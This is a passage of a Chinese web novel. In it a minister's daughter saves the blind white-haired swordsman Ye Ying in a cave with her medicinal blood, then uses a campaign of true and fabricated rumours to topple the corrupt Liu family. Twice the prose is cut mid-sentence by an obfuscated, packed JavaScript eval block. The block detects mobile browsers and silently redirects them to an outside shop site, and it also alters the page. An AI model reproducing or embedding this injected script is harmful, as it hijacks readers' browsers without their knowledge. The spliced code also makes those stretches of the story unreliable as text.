视线逐渐适应了黑暗,借着那线极其微弱的反光,她终于在几步之外的浅滩上,看到了那个俯卧在水中的白色身影。 一动不动,像是早已没了气息。 不…… 她几乎是用爬的,拖着那条剧痛的左腿,挣扎着挪到他身边。 颤抖着伸出手指,悬在他的鼻息前。 微弱,但确实存在。 他还活着。 这个认知让她紧绷的心弦骤然一松,几乎虚脱。 她这才定下神,仔细去看他的情况。 背后的白衣已被岩石刮得稀烂,模糊的血肉与湿透的布料黏连在一起,触目惊心。 而他的右臂,更是以一种极不自然的角度弯曲着。 都是为了救她。 看着眼前这个素昧平生却因她两度涉险如今生死不知的人,林芊雅心中五味杂陈。 感激?愧疚?或许都有知,还有一种同坠深渊的悲凉,沉沉地压在心头。 “你我又是什么运气……”她望着他苍白却依旧难掩俊逸的侧脸,低声苦笑,“竟一同被卷进这等祸事里。” 她深吸一口气,强迫自己冷静下来。 现在不是自怨自艾的时候。她撕下自己裙摆内衬最干净的布料,在潭水里浸湿拧干,开始小心翼翼地擦拭他背后伤口。 动作间,昏迷中的人似乎感到了疼痛,身体几不可查地绷紧了一瞬,喉间溢出极轻的闷哼,但那双眼睛依旧紧闭着,没有醒来。 借着那点微弱的天光,林芊雅第一次有暇仔细看他的脸。 之前几次见面时机不巧,她都未能详细看他到底长什么样子便急着从麻烦中脱身了。 现下看见他干净的面容才发现是他即便在昏迷中脸色苍白如纸,也掩不住那副过于精致的五官。 眉如远山含黛,鼻梁高挺,唇形薄而优美。 最特别的是右额角那点印记,颜色鲜红,形状竟真像一朵小小的梅花,在这张冷白的脸上平添了几分妖异又破碎的美感。 一头白发散乱在湿透的肩头,非但不显苍老,反倒衬得他肤白如玉,宛如冰雪雕琢,却又脆弱得仿佛下一刻就会融化。 她忽然想起南安王世子——那个曾是她未婚夫的少年。那也是个相貌不错的世家子,可眉眼间总带着一股浮夸的傲慢和轻佻,看人时目光像是掂量货物。 而眼前这个人……即便昏迷着,眉宇间也自有一种沉静的不容亵渎的凛冽感。 一个念头莫名闪过:如果当初…… 她猛地摇头,用力将这个荒唐的联想甩出脑海。 现在不是想这些的时候。 她与他,不过是机缘巧合下两次相遇的陌生人,仅此而已。 “你救了我两次……”她一边继续手上的动作,一边低声呢喃,不知是说给他听,还是说给自己听,“爹爹常说,滴水之恩,当涌泉相报。你这般……我该如何报答?” 清理完背后的伤,虽然依旧狰狞,但总算不像最初那样骇人了。接着是那条断臂。她摸索到那明显错位的骨头,心尖都跟着颤了颤。 必须固定起来。 她解下腰间那条银丝带 又勉强从岩缝里寻来两根相对笔直还算干净的枯枝。 没有麻沸散,没有趁手的工具,她只能凭着一股狠劲和毕生最大的细心,回忆着偶尔看过的医书上的描述,摸索着将他的断臂大致复位,然后用枯枝夹住,再用绦带一圈圈紧紧缠牢固定。 做完这一切,她已是满头冷汗,脱力般地跌坐在他身旁的浅水里,靠着冰冷的岩石喘息。 溶洞里的温度,似乎随着那线天光的彻底黯淡而骤然降低。 寒意从湿透的衣物钻进皮肤深入骨髓。 她抱着双臂,冷得牙齿开始不受控制地打颤。 饥饿和疲惫也同时袭来。 从收到那封假信出门到现在,她粒米未进,又经历了坠崖落水重伤和这一番折腾,体力早已透支。 她看着水中自己模糊的倒影——发髻散乱,珠翠尽失,脸色苍白如鬼,嘴角还凝着血痂,一身狼狈。哪里还有半分相府千金的仪态风华? 谁能想到,不过一年多光景,她会落到这般田地,与一个陌生男子困在这暗无天日的绝境之中。 洞中不知日月,她只能凭感觉估算,距离坠崖恐怕已过去了一日之久。寒冷和饥饿不断侵蚀着她的意志,左腿的疼痛也一阵紧似一阵。 然而,更大的危机很快降临。 半夜,林芊雅是被身边滚烫的温度惊醒的。 她迷迷糊糊伸手一探,触到叶英额头的瞬间,却几乎以为摸到了一块烧红的烙铁! “水……咳咳……”他无意识地呻吟,干裂起皮的嘴唇翕动着,甚至渗出了细小的血珠。 她赶紧手忙脚乱地用手捧了点潭水,慢慢凑到他唇边喂他。冷水似乎让他舒服了一点,但额头的温度依旧烫得吓人。 她撕下另一块布浸湿,敷在他额头上。 可冰冷的湿布敷上去,不到半刻钟就被烘得温热。反反复复,毫无用处。 林芊雅的心一点点沉下去。 她比谁都清楚,重伤之后的高烧是何其凶险。她五岁那年落水后的经历,就是血淋淋的例子。御医们束手无策的眼神,父亲一夜白了的鬓角,还有自己游走在生死边缘时那种冰冷无助的感觉……记忆犹新。 ——再这样烧下去,他会死的。 这个念头清晰地浮现在脑海,带着沉甸甸的重量。 她忽然想起御医当年叹息的话:“林小姐此番伤了根本,往后怕是离不得各种奇珍药材细细温养了。”也想起父亲后来无奈的苦笑,说她这十几年吃下去的奇珍异宝,足以堆成小山,整个人早已被药性浸透,血脉里流动的,怕不单是血,更是行走的良药。 我的血……或许能救他? 但这个念头刚升起,就被父亲严厉的警告狠狠压了下去:“雅儿,记住!你的体质特殊,此事绝不可为外人道!一旦泄露,恐招来杀身之祸!世间贪婪之徒,为求延寿长生,什么事都做得出来!” 父亲说这话时凝重无比的表情,至今历历在目。 一边是父亲的严训和自身安危,另一边,是眼前这个为她两度涉险如今命悬一线的陌生男子。 她看着他那张烧得通红却依旧难掩俊美的脸。 即使在昏迷中,他的眉头也紧蹙着,仿佛承受着巨大的痛苦。额角那点梅花印记,在异常的红晕衬托下,艳得惊心。 这个人……明明可以不管她的。 茶楼那次,他完全可以冷眼旁观。 崖边那次,他本可以不跳下来的。 是因为她,他才落得这般田地。 可救他,意味着要赌上自己最大的秘密,赌上父亲千叮万嘱的安危,赌上可能引来无穷后患的风险。 万一……万一他醒来后,察觉了她血液的异常呢? 万一他并非良善,起了歹念呢? 这世道,人心叵测,她见得还少吗? 南安王府退婚那日,那些围观者或同情或嘲讽或幸灾乐祸的嘴脸,她至今记得清清楚楚。对女子尚且如此苛刻,若知道她有这等“奇效”,又会如何? 但…… 但若他死了呢? 一个素不相识的江湖人,为她两度涉险,最终却因为她见死不救而丧命于此? 那她林芊雅,与那些被命运操控麻木不仁的提线木偶,与这京城里整日上演荒唐戏码却不自知的芸芸众生,又有何异? 爹爹总说她心思重,思虑多。可有些事,不是思虑多就能避开选择的。 “或许……这就是我的命吧。”她眼中闪过一丝泪光,却更坚定了,“总逃不开这些艰难的选择。既然避无可避……” 她深吸一口气,拔下了头上仅存的一根简单银簪。长发散落下来,垂在苍白的脸颊边。 “但求问心无愧罢了。” 簪子尖抵在自己纤细手腕上的时候,她的手几不可查地颤抖了一下。 脑海中闪过父亲担忧的脸,闪过母亲临终前握着她的手,轻声说“雅儿要好好的”时的温柔。 对不起,爹爹。 对不起,娘。 女儿……可能要做一件任性的事了。 她狠狠心,簪子尖刺破皮肤。 细微却清晰的刺痛传来,白皙的手腕上沁出一颗鲜红的血珠。她将手腕凑近他干裂的唇边,血珠滴落,正好落在他唇缝间。 他竟无意识地伸出舌头,舔舐了一下。 有用! 她不再犹豫,用未受伤的手捏开他的下颌,将渗血的伤口紧紧贴在他的嘴唇上。 温热的血液缓缓流入他的喉咙。或许是本能感知到了这液体中蕴含的奇异生机与力量,他开始主动地有些急切地吞咽起来。 渐渐地,他原本急促滚烫的呼吸似乎平稳了些,紧蹙的眉头也舒展了一些。 林芊雅松了一口气,这才感到一阵强烈的眩晕袭来。 她连忙将手腕挪开,用剩下的一点干净布料草草缠住伤口。失血带来的虚弱和洞中刺骨的寒意交织在一起,让她眼前阵阵发黑,只能靠在岩石上喘息。 她看着他趋于平缓的睡颜,心中五味杂陈。 这个人……到底是谁? 他有一身好武功,却似乎无门无派。 他沉默寡言,行事却果决利落。 他明明目不能视,却总能在危急时刻精准地护住她。 还有那头白发……是练功所致,还是另有隐情? 罢了,现在想这些也无用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我看到光了……”她喘着粗气,声音因极度的疲惫和疼痛而发颤,却异常坚定地重复着,不知是在鼓励他,还是在鼓励自己,“就快到了,真的……就快到了。” 前方甬道深处,其实依旧是一片浓稠的黑暗,根本没有任何光亮。 但她必须给自己,也给他一个坚持下去的信念。 ……爹爹还在江陵,生死未卜,他需要我。 ……这个人救了我两次,我不能让他死在这里。 ……撑下去……林芊雅,你可以的…… ……我虽然不认识他,可他应该也和她一样,有担心他的家人吧。他的家人,或许也在等他。 ……爹爹情况未明,我若是死在这里,岂不是让爹爹孤立无援的同时,人到中年又要承受丧女之痛? 叶英的头无力地靠在她单薄的颈侧,滚烫的呼吸拂过她的耳垂和脸颊,带来异样的触感。 他似乎想说什么,嘴唇动了动,最终却只化作一个极其微弱的音节,含糊不清,像是鼓励,又像是无意识的呓语。 林芊雅不再说话,将所有残存的力气都灌注在双腿上,拖着伤腿,架着他,一步一步,向着那有风吹来的黑暗甬道挪去。 每往前挪一步,都像踩在刀尖上。 左腿的疼痛已经麻木,取而代之的是一种沉重的仿佛不属于自己的滞涩感。失血后的眩晕阵阵袭来,眼前的黑暗似乎开始旋转,冒出金星。 但她心里那点“一定要出去”的念头,却让她咬紧了牙关,死活不愿服输。 她甚至开始有些自嘲地想:若按那些荒唐话本的套路,此刻该有世外高人恰好路过相救,或是突然发现什么先人遗泽神功秘籍才对。 可现实是,只有冰冷的岩石无尽的黑暗沉重的伤者,和她自己几乎耗尽的体力。 没有奇迹,只能靠自己一步步挣出生路。 不知走了多久,时间在这里早已模糊。 或许只有一刻钟,或许已是一个时辰。 她的意识开始涣散,全靠一股本能支撑着。 就在她几乎要栽倒的时候—— 微弱的风声夹杂着天光从裂缝涌入时,林芊雅已经无法分辨那是真实还是濒死的幻象。 极远处,隐隐约约地,似乎传来了什么声音。 像是……人的呼喊? 她猛地顿住脚步,屏住呼吸,侧耳倾听。 “……小姐——!” “小姐——!你在哪里——!” 是春华!是春华带着哭腔的呼喊!还有其他人嘈杂的呼唤声! 他们找来了! 希望瞬间冲散了所有的疲惫和绝望。 林芊雅用尽最后一丝力气朝着声音传来的方向喊道: “在这里——!我们在这里——!” 喊完这一句,她再也支撑不住,膝盖一软,带着叶英一起,重重地跪倒在地。 碎石硌得生疼,她却恍若未觉,只是仰着头,死死盯着声音传来的方向。 “先……”她用尽最后一丝气力,朝着光亮的方向嘶哑地挤出几个字,“先救……叶公子……” 昏迷前最后的意识里,她感到身边的叶英,手指似乎几不可查地动了一下。 一定要……一起活着…… 然后,便是无边无际的黑暗,彻底吞没了她。 9. 人若犯我…十倍还之 林芊雅是被疼醒的。 不是那种尖锐的、撕裂的疼,而是全身骨头仿佛被拆开重组后一样的钝痛。 左腿被固定着,手腕上也缠着厚厚的布。 她有些费力地睁开眼,视线先是模糊的,然后才慢慢聚拢。 绣帐,窗棂外透进来的柔和的日光……是她自己的房间。 我……回来了? 她试着动了一下,喉咙里却火烧火燎的,让她忍不住咳了起来。 “小姐!”春华几乎是扑到床边的,眼睛肿得厉害,“您总算醒了!您吓死奴婢了……” 林芊雅喉咙干得发不出声,只能指了指旁边的水杯。春华连忙小心扶她起来,喂她喝水。 温水滑过喉咙,带来些许清醒。记忆也开始回流——冰冷的潭水,无尽的黑暗,滚烫的额头,滴血的手腕,沉重的步伐,还有那句反复的就快到了。 “叶公子呢?”她听见自己问,声音哑得厉害。 “在隔壁厢房。”春华道,“昨日就醒了,伤得重,但大夫说底子好,恢复得快些。”小丫头顿了顿,“叶公子醒来后……问过您好几次呢。” 林芊雅靠在床头,没说话。 屋里弥漫着浓重的药味,一切都很安静,安静得让她有些恍惚。 手腕上的痛是真的,胸口那种劫后余生的虚脱感也是真的。 那个人……真的为她做到了那种地步。 在茶楼是第一次见面,在崖边是第二次。两次他都毫不犹豫地出手,第二次甚至赔上了自己。 林芊雅闭上眼,溶洞里的画面不受控制地浮现出来。 不是只有痛苦。还有他昏迷中无意识的,滚烫的呼吸拂过她颈侧的感觉;有他短暂清醒时,那双没有焦距却仿佛在“看”她的眼睛里,那一闪而过的茫然与脆弱;有他痛极时压抑的闷哼;更有在她几乎撑不住,摇摇欲坠的时候,他那只未受伤的手,曾那么轻微地,却又确实地回握了一下她的手腕…… 他不是话本里那些从天而降,完美无缺的英雄。 可他又那么强大,强大到可以将她从那样危急的环境里两次拉出来。 但他又那么脆弱,他会重伤,会发烧,会昏迷不醒。 林芊雅睁开眼,望着帐顶。 可她是林承泽的女儿,是身陷朝堂漩涡,自身难保的相府千金。父亲归期未定,南疆和亲的危机只是暂时压下去了,刘家那些豺狼还在暗处盯着。 她有什么资格,为这样一个人心动?又凭什么,将他拖进林家这潭深不见底的浑水里? 理智告诉她,现在……她家这种烂摊子,正需要一个能镇得住场,又能让她稍微安心的人。他虽然来历成谜,可武功高强,更何况他对她有两次救命之恩,她也救过他一次,从情分上说,他也该还她一份人情。 他……不正是一个现成的,最合适的夫婿人选吗? 可是为什么……她一想到要利用他,要把他拖进这滩泥水里,心里就堵得慌,就一阵阵地发闷,觉得特别不是滋味。 “小姐,”春华的声音打断了她的思绪,小丫头捧过一个锦盒和一块托盘小心翼翼地递过来,托盘中间放着块眼熟的玉佩,触手生温。 “叶公子昨日醒来后,把这个留下了,说是给您的。老爷……老爷还没回来,但府里管事知道这事,也没说什么,就让奴婢先收着,等您醒了交给您。还有这个锦盒是昨日暗卫从江陵府带回来的,说您一定要收好。” 是那块他的玉佩…… 他为什么要把这个给她? 他不是什么都忘了,只记得这个字吗?这是他寻找过去唯一的,实在的线索了。就这么……给了她? 心口某个地方像是被什么东西轻轻撞了一下,有些酸,有些胀,还有些无措的茫然。 叶公子,你……这是存心让我为难啊。 她盯着玉佩,半晌没说话。春华在一旁大气也不敢出。 她能感觉到小姐的心情很复杂,不是单纯的感激或欣喜。 最终,林芊雅还是没有说出让春华把玉佩退回去的话。 她只是有些生涩地像是为了打破这让她心烦意乱的沉默一样,移开了目光,转向那个朴素的锦盒。 “爹爹……从江陵送回来的?” “是,”春华连忙道,“送信的暗卫说,老爷一切都好,让小姐务必放心。还说这盒子和里面的东西……很重要,只能小姐亲自看。” 林芊雅点点头,示意春华扶她坐得更直一些。 她打开锦盒,首先看到的是一块用油纸仔细包着的徽墨,墨锭乌黑润泽,是上好的松烟墨,上面用金粉描着江陵古制的字样。旁边放着一张信笺,是父亲的笔迹,只有寥寥几句:“江陵偶得古墨一块,质地上佳,知雅儿素爱书画,特遣人送回。望我儿安心将养,勿念。父字。” 林芊雅掂量了一下盒子,轻轻拨开隔层。果然,下面压着一封极轻极薄的信。 她展开信,父亲的字迹跃然纸上,言简意赅,却字字惊心—— 这是一份清单,或者说,是一本账簿的摘要和几封关键信函的抄录。 上面清清楚楚地记录了数月前拨付给江陵府用于修缮黄河堤坝的八十万两官银,是如何被几经转手,层层盘剥,最终真正用于购买石料,雇佣民夫的钱款,不足三十万两。 中间五十万两的巨款,流向了一个个模糊的代称和钱庄户头,但其中几个关键节点,无一例外地指向了京城刘家及其门生故吏。 更触目惊心的是,其中还夹着一份私密的信函抄件。 是刘家负责此事的旁支子弟写给青州某位粮商头目的,语气狎昵,内容竟是在商议如何趁堤坝将溃未溃之时,提前囤积粮食,哄抬粮价,甚至暗示可以制造些混乱,以便后续以平乱,赈灾之名,再向朝廷伸手要钱要粮,甚至……可以借此将办事不力,激起民变的罪名,扣到亲自前去督办的宰相林承泽头上! 林芊雅握着那几张轻飘飘却重如千钧的纸,指尖因为用力而微微发白,胸口却有一股灼热的气息在翻腾。 她的手微微颤抖。 五十万两……江陵八县的灾民还在水深火热之中,刘家竟然敢贪墨这笔救命的钱!还有与南疆私通…… 一股寒意从脊背升起,随即被更强烈的怒火取代。 她将信纸仔细折好,重新放回暗格扣紧。然后才抬起眼,看向一直屏息等待的春华。 “外面……”她的声音比刚才更平静,却透着一股寒意,“我昏迷这几日,京城里……是不是很热闹?” “说。”林芊雅抬眼看着她,目光清凌凌的。 春华咬了咬嘴唇,终于低声道:“外面……外面传得很难听。说您……说您和叶公子在溶洞里孤男寡女待了两三天,清白早就毁了……还说,还说南安王世子和刘家那边放话,说您这样的……不配再谈婚嫁,连给世子当妾都不配了……” 林芊雅脸上没什么表情,只是嘴角似乎极轻微地扯动了一下,像是笑,又像是极度的讽刺。 彻底毁掉一个女子最看重的名节和未来,来达成目的。 真是……好手段。 她忽然觉得喉咙一阵腥甜,忍不住剧烈地咳嗽起来,咳得撕心裂肺,仿佛要把五脏六腑都咳出来。春华吓得魂飞魄散,连忙上前替她拍背顺气。 “小姐!小姐您别动气!身子要紧啊!” 咳了好一阵,林芊雅才慢慢缓过来,她用帕子捂住嘴,待拿开时,雪白的丝帕上赫然染上了一抹刺眼的鲜红。 春华看见那血迹,眼泪一下子涌了出来:“小姐!您吐血了!奴婢……奴婢这就去请大夫!” “站住。”林芊雅的声音嘶哑,却带着不容置疑的命令。 春华僵在原地,回头看她,满脸是泪。 林芊雅用染血的帕子,慢慢擦去嘴角的血迹。她的脸色苍白得近乎透明,衬得那双眼睛黑得惊人,里面燃着一种春华从未见过的,冰冷而尖锐的光。 “请大夫有什么用?”她轻声说,每个字都像是淬了冰,“治得了病,治得了人心吗?” 春华哽咽着,不知所措。 林芊雅深吸了一口气,压下胸腔里翻腾的气血和那股几乎要灭顶的怒火与屈辱。她不能倒下去。父亲还在江陵,林家现在靠她撑着。 她若先乱了,就真的全完了。 “别慌。”她看着春华,眼神渐渐沉淀下来,恢复了那种惯有的,沉静的锐利,“他们想用流言这把软刀子杀我,把我逼到绝路。那我便让他们看看,什么叫……” 她顿了顿,一字一句,清晰无比: “人不犯我,我不犯人。” “人若犯我……十倍还之” “小姐……您打算怎么做?”春华擦干眼泪,小声问。 林芊雅没有立刻回答。 她靠在引枕上,闭上了眼睛,似乎是在养神,又似乎是在飞快地思索。 屋内只剩下她略显急促的呼吸声。 过了大约一盏茶的功夫,她重新睁开眼,眸中一片清明。 “春华,你过来。” 春华连忙凑近。 林芊雅用极低的声音,开始一条条吩咐。 她的语速不快,但条理异常清晰,从如何利用府里那些看似不起眼,实则与市井三教九流都有联系的仆役婆子,到如何将不同的故事投放到不同的人群中去,再到如何巧妙地引导舆论,让几个关键的消息在特定的时间,以特定的方式引爆…… “至于贪墨赈灾款和通敌的传言……”林芊雅的目光落在那方徽墨上,眼神幽深,“先不要放确凿的证据,只透出风声,说江陵那边查账查出了大窟窿,银子流向了京城某些显赫的人家,而且……似乎和南疆那边有些不清不楚的账目往来。话要说得模糊,留足想象空间。自然会有有心人去打听,去串联。” 春华听得目瞪口呆。 她家小姐平日里温婉安静,大部分时间都在看书养病,她只知道小姐聪明,却从不知道小姐谋划起这些事来,竟然如此……缜密,甚至有些骇人。 “小姐……这,这些消息,有些是真的,有些……是咱们编的,万一……”春华有些犹豫。 “万一什么?”林芊雅淡淡看她一眼,“他们造谣我失身于山匪时,讲过万一吗?刘家贪墨修堤的银子,致使黄河决口,淹死无数百姓时,想过万一吗?” 她声音不高,却让春华打了个寒噤。 “春华,你记住。”林芊雅缓缓道,“在这世道上,有时候,真话没人听,假话传千里。我们要做的,不是去分辩每句话的真假,而是要让该听的人,听到他们该听的东西。真的,自然铁证如山;假的……只要听起来合理,说得人多了,自然也会有人信。更何况……” 她手指轻轻敲了敲那方徽墨:“我们手里,终究握着最要命的真。现在散布出去的,不过是开胃小菜,敲山震虎。真正的杀招,要留在最关键的时候,一击毙命。” 打蛇要打七寸。 要么不动,要动,就要把它打死。 刘家这次敢用这么阴毒的手段对付她,甚至想借此扳倒父亲,那就别怪她心狠手辣,不留后路。对敌人的仁慈,就是对自己的残忍。这个道理,她五岁落水高烧差点死掉的时候,就模模糊糊懂了。如今,不过是更透彻了些。 春华看着小姐苍白却坚定的侧脸,忽然觉得心里有了主心骨,重重地点头:“奴婢明白了!奴婢这就去办!” “小心些,用我们自己的人,或者拿钱找那些嘴巴严,只为求财的市井之徒。不要直接牵扯到相府。”林芊雅最后叮嘱。 “是!” 当天下午,门房就被派了出去。 第一个去的地方是西城的茶馆。那里鱼龙混杂,消息传得最快。门房扮作普通小厮坐在角落,等说书先生说完一段,便起身装作不小心碰翻了邻桌的茶碗。 “哎呀,对不住对不住!”他连连道歉,一边掏出手帕帮忙擦拭,一边压低声音对那桌的几个汉子说,“几位大哥莫怪,实在是心里慌……我家就在刘府后街做小买卖,这几日听见里头动静不对,说刘大公子为了个新纳的妾室,把原配夫人打得卧床不起,还不给请大夫……” 几个汉子对视一眼,来了兴趣:“真的假的?刘府那么大门户……” “千真万确!”门房声音更低了,“那原配夫人的娘家表兄就在我家隔壁,亲口说的。还说刘家那位庶出的三公子更混账,前几日在东街看上个卖豆腐的小姑娘,人家不肯,他就带人把人家爹的腿打断了,硬是把人抢进府里……可怜那姑娘才十四岁……” 消息像长了翅膀。 第二天,东街卖豆腐的老李头突然拄着拐杖出现在府衙门口,击鼓鸣冤,涕泪横流地控诉刘家三公子强抢民女,伤人致残。虽然衙役很快把人劝走了,但围观的百姓都听得清清楚楚。 同一天,城南胭脂铺的老板娘无意中对常来的几位官家女眷透露:刘府负责采买的刘管事,前几日在百花楼为了个头牌一掷千金,光是打赏就花了五百两, “啧啧,那阔气的,不知道的还以为是哪家的老爷呢。” 五百两,够普通百姓一家吃用十年了。 流言开始发酵。 从市井到商铺,从茶馆到酒楼,刘家子弟的荒唐事一件件被翻出来,细节丰富得仿佛亲眼所见。 但这还不够。 第三天,一封没有署名的密信被送到了几位以刚正闻名的御史府上。 信里没有过多言辞,只附了几张票据的拓印——是钱庄的兑票,数额巨大,收款人正是刘家在青州的一个旁支。而兑票的时间,恰好在朝廷拨发江陵赈灾款之后不久。 同时,另一则更隐晦的消息在士林清流的小圈子里悄悄流传:刘家似乎与南疆某些势力有过密的往来,去年南疆使臣入京时,刘家曾秘密设宴款待…… 真真假假,虚实结合。 接下来的两天,林芊雅以重伤未愈,需要绝对静养为由,谢绝了一切探视,连每日例行的诊脉都让大夫隔着屏风进行。 相府大门紧闭,对外只传达出一种信息:林家小姐深受打击,一病不起。 而她真正的精力,全部放在了幕后那场不见硝烟的舆论战上。 她甚至没有太多时间去想叶英,去想那块烫手的玉佩,去想自己心里那团乱麻似的情绪。 偶尔在喝药休息的间隙,那抹白色的身影和那双灰蒙蒙的眼睛会不受控制地闯入脑海,带来一阵短暂的心悸和烦乱。 但很快,就会被更迫切的,关于刘家动向的消息,关于如何将下一步棋走得更好的思虑所取代。 不见也好。她有些鸵鸟心态地想。现在这副心力交瘁,满腹算计的样子,连她自己都觉得有些陌生和疲惫,又何必让他看见。 何况,她正在做的事情,并不光彩,甚至有些……阴险。 这与他在茶楼和崖边展现出的那种近乎纯粹的,仗义出手的江湖气,格格不入。 她下意识地,不想让他看到这一面。 第四天,早朝。 一位御史出列,弹劾刘家纵容子弟横行不法,强抢民女,宠妾灭妻。证据确凿,苦主还在府衙外跪着。 皇帝脸色微沉。 紧接着,第二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224174|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御史出列,弹劾刘家管事奢靡无度,挥霍公帑,质疑其钱财来路。 第三位御史出列,言辞激烈,直指刘家涉嫌贪墨江陵赈灾款项,并呈上那几张兑票拓印为证。 金銮殿上一片哗然。 刘璋跪倒在地,冷汗涔涔,连呼冤枉:“陛下明鉴!这是诬陷!是有人蓄意构陷老臣!” “构陷?”一位素来与刘家不和的官员冷笑,“那请刘大人解释解释,贵府旁支在青州的钱庄里,为何突然多出这数十万两白银?时间为何恰好与赈灾款拨发吻合?” “这……这定是有人伪造票据!”刘璋急道。 “是不是伪造,一查便知。”皇帝终于开口,声音听不出喜怒,“此事交由三司会审。刘爱卿,这几日你便在家中歇息,配合调查吧。” 软禁。 刘璋眼前一黑,几乎瘫倒在地。 消息传到相府时,林芊雅正靠在窗前喝药。 春华难掩兴奋:“小姐!成了!刘璋被勒令回府待参,三司会审!这下刘家完了!” 林芊雅放下药碗,脸上并无喜色。 窗外的海棠开得正好,阳光明媚。可她知道,这不过是暴风雨前短暂的宁静。 “完了?”她轻声道,“还早呢。” 打蛇不死,反受其害。刘家在朝中经营多年,盘根错节,党羽众多。一次弹劾,最多伤其皮毛。必须趁他病,要他命。 她转身走到书案前,铺开纸。 “春华,研磨。” “小姐,您要写信?” “不。”林芊雅提起笔,蘸了墨,“我要写一份状子。” “状子?告谁?” “告刘家。”林芊雅垂眸,笔尖落在纸上,字迹端正清秀,却透着凌厉,“贪墨赈灾款,是为不忠;纵子行凶,是为不仁;勾结外邦,是为不义。如此不忠不仁不义之徒,有何面目立于朝堂之上?” 她写得很慢,每一个字都斟酌再三。不是写给自己看,是要让这份状子能顺利递到该看到的人手里。 春华在一旁看着,渐渐明白了:“小姐,您是要……” “刘家不是喜欢用流言吗?”林芊雅写完最后一个字,放下笔,轻轻吹干墨迹,“那我就送他们一份真正的大礼。” 这份状子,她没有通过正常渠道递上去。而是让春华抄录了数份,分别送到了几位德高望重,且与刘家素无来往的老臣府上,同时,也让人将副本散入市井。 内容详实,条理清晰,虽无确凿物证,但所列之事皆有迹可循,逻辑严密。更重要的是,它把刘家这些年做的腌臜事,系统地串联了起来,形成了一条清晰的恶贯满盈的脉络。 有时候,真相不重要,重要的是让所有人都相信这是真相。 状子散出去的第二天,朝野震动。 老臣们震怒,清流们激愤,百姓们哗然。原本还在观望,或与刘家有些牵扯的官员,见势不妙,纷纷划清界限,甚至有人反戈一击,站出来揭发刘家其他罪状。 墙倒众人推。 三司会审的速度陡然加快。 刘府被查抄,刘璋下狱,刘家子弟一个都没跑掉,全被投入大牢待审。 短短七八日,煊赫一时的刘家,便从云端跌落泥潭,成了人人喊打的过街老鼠。 而关于林芊雅的流言,早在刘家丑闻爆出的第一天,就悄无声息地消失了。偶尔有人提起,也会立刻被旁人打断:“啧,都什么时候了,还管那些闲话?刘家贪了灾民五十万两救命钱呢!那才叫天理难容!” 春华把这些转述给林芊雅听时,小丫头眼睛亮晶晶的:“小姐,您真厉害!这下看谁还敢乱嚼舌根!” 林芊雅正对着棋盘,手里捏着一枚黑子,闻言只是淡淡笑了笑。 厉害吗? 不过是被人逼到绝境,不得不以牙还牙罢了。 她落下一子,棋盘上局势瞬间分明——黑子已成合围之势,白子岌岌可危。 就像现在的刘家。 但她心里清楚,这还不够。刘璋在朝中多年,背后未必没有更大的靠山。皇帝的态度也暧昧不明,勒令回府待参,而非直接下狱,已是留了余地。 打蛇须打七寸,一击必中,不留后患,自己说过的话,她记得很清楚。 真正的七寸,是那五十万两赈灾款的确凿证据,是刘家与南疆私通的密函。 可这些,她现在还不能动。要等到最关键的时候,等到刘家以为还有喘息之机,甚至可能反扑的时候,再给予致命一击。 所以,她按捺住了。 接下来的几天,相府异常安静。 林芊雅安心养伤,每日看书,下棋,偶尔在院子里走走。春华则负责打理内外,将府中整顿得滴水不漏。 期间,叶英又来过两次。 第一次,林芊雅以服了药正睡着为由推了。第二次,她说精神不济,改日再叙。 春华有些不解:“小姐,叶公子是关心您,您为何……” “我知道。”林芊雅打断她,目光落在窗外,“正是因为他关心,我才不能见。” “为什么?” 林芊雅沉默了很久,才轻声道:“春华,你说……我这样算计人心,步步为营,是不是很可怕?” 春华愣住了:“小姐是为了自保,为了老爷……” “是啊,是为了自保。”林芊雅笑了笑,笑意有些苍凉,“可这样的我,连自己都觉得面目可憎。又怎么配……去见他那样的人?” 他是纯粹的。即便失忆,即便目盲,他救她时的心思是纯粹的,留玉佩时的心思也是纯粹的。他像一柄剑,直来直往,光华凛冽。 而她,早已在这潭浑水里浸染得一身泥泞,满腹算计。 不见,也好。 至少……还能在他心里,留一个还算干净的印象。 “小姐……”春华眼圈红了,“您别这么说,您是最好的……” 林芊雅摇摇头,不再说话。 又过了两日,春华兴冲冲地跑进来,手里拿着一封信:“小姐!老爷来信了!是给您的!” 林芊雅接过信,拆开。 父亲的字迹依旧沉稳,先问了她身体,然后才切入正题—— “刘家之事,为父已知晓。吾儿处理得甚好,借力打力,分寸得当。然切记,勿要赶尽杀绝,亦勿要过早亮出底牌。朝堂之事,瞬息万变,留一线,或有余地。家中诸事,你可全权处置。为父归期在即,勿念。” 她看完信,久久未动。 父亲说她处理得好,却也提醒她不要赶尽杀绝。 是啊,朝堂之上,没有永远的朋友,也没有永远的敌人。今日刘家倒了,明日或许又有张家,李家。逼得太紧,反而会让其他人兔死狐悲,联合起来反噬。 父亲是在教她,杀人要诛心,但也要留三分余地,以便日后转圜。 她将信折好,收进抽屉。 窗外的阳光很好,海棠花簌簌落下几片花瓣。 一切似乎都平静下来了。 但林芊雅知道,这平静之下,暗流仍在涌动。刘家还未彻底倒下,南疆使臣还在京城,父亲归期未定,她的名声……如今也待解决。 还有叶英。 她想起那块温润的玉佩,还收在妆台的匣子里。 她不由自主地,又想起了那双没有焦距却仿佛能看进人心的灰眸。 他现在……在做什么?伤好点了吗?有没有……想起什么? 这个念头刚一升起,就被她狠狠掐灭了。 林芊雅,清醒一点。 你现在没空想这些。 10. 或许…会遗憾很久 叶英其实醒得比所有人以为的都要早一点。 